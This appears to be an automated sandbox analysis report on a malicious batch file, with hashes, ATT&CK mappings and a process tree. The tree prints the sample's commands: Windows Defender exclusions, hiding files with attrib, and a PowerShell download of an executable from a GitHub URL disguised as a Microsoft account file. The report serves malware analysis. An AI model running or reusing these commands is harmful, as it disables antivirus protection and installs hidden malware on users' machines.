96cc09ef13054fe37778f15fa87202e727832895f9712f68a18618fcb5c24ef1

General

Target

fmcth.bat
Size

77KB
MD5

468184814f843ccabfba6e4797b64dea
SHA1

da23c44c7143e01c6084fd99f680926b553c3ba1
SHA256

96cc09ef13054fe37778f15fa87202e727832895f9712f68a18618fcb5c24ef1
SHA512

3c6cc618f4ecff6a46814fa7e1132ef06bbc306b58b692e25b355401fff6fec3cc6a5472d3376f39cefb23d9d85cd3d0138360d69a957c84884b4e79578ef541
SSDEEP

1536:1ueBx7KjbtTZiK77VvRFf0bc7OMYIUuH4Rx+GwnPNm8ywUp5QjSdDmjnFllQZEqV:1uAx7KjbtTZiK77VvRFf0bc7OMYIUuH2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2732	powershell.exe
2720	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2720	powershell.exe
2840	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2720	2280	cmd.exe	31
PID 2280 wrote to memory of 2720	2280	cmd.exe	31
PID 2280 wrote to memory of 2720	2280	cmd.exe	31
PID 2280 wrote to memory of 2552	2280	cmd.exe	32
PID 2280 wrote to memory of 2552	2280	cmd.exe	32
PID 2280 wrote to memory of 2552	2280	cmd.exe	32
PID 2280 wrote to memory of 2840	2280	cmd.exe	33
PID 2280 wrote to memory of 2840	2280	cmd.exe	33
PID 2280 wrote to memory of 2840	2280	cmd.exe	33
PID 2280 wrote to memory of 2564	2280	cmd.exe	34
PID 2280 wrote to memory of 2564	2280	cmd.exe	34
PID 2280 wrote to memory of 2564	2280	cmd.exe	34
PID 2280 wrote to memory of 2732	2280	cmd.exe	35
PID 2280 wrote to memory of 2732	2280	cmd.exe	35
PID 2280 wrote to memory of 2732	2280	cmd.exe	35
PID 2280 wrote to memory of 1920	2280	cmd.exe	36
PID 2280 wrote to memory of 1920	2280	cmd.exe	36
PID 2280 wrote to memory of 1920	2280	cmd.exe	36

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2564	attrib.exe
1920	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\fmcth.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\system32\attrib.exe
  attrib +h "MicrosoftAccount" /s /d
  2⤵
  - Views/modifies file attributes
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/SchoolSigmaBoy/SchoolSigma/raw/main/SigmaBoy.exe' -OutFile MicrosoftAccount.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\system32\attrib.exe
  attrib +h "C:\ProgramData\Microsoft\Settings\Accounts\MicrosoftAccount.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:1920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1629ee93b8b82bc88deae63489efb3ea

SHA1
8c722525ac32c9ebf6ddc43fefaf97aebe041ae7

SHA256
e48b6706870977c6aef755c1a5aec32922459fbb6b7a694fd33d8f97a94f7261

SHA512
53c463abdb5ccd5d8443d86e3d8b86567155ff4591e0a53169e2d65013c470460ec96e22f84f1a3f466f597dd11df022a1f354829c37ca9ed1276bbc108e6219

Download Submit
memory/2720-4-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

Filesize
4KB

Download
memory/2720-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2720-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2720-8-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-9-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-10-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-11-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-12-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Filesize
9.6MB

Download
memory/2840-19-0x0000000002080000-0x0000000002088000-memory.dmp

Filesize
32KB

Download
memory/2840-18-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download

Analysis

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